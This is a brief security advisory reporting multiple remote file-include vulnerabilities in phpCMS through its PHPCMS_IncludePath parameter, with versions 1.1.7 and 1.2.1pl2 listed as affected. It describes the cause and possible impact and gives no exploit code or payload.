PHPCMS PHPCMS_IncludePath Parameter Multiple Remote File Include Vulnerabilities

phpCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Versions 1.1.7 and 1.2.1pl2 are vulnerable; other versions may also be affected.
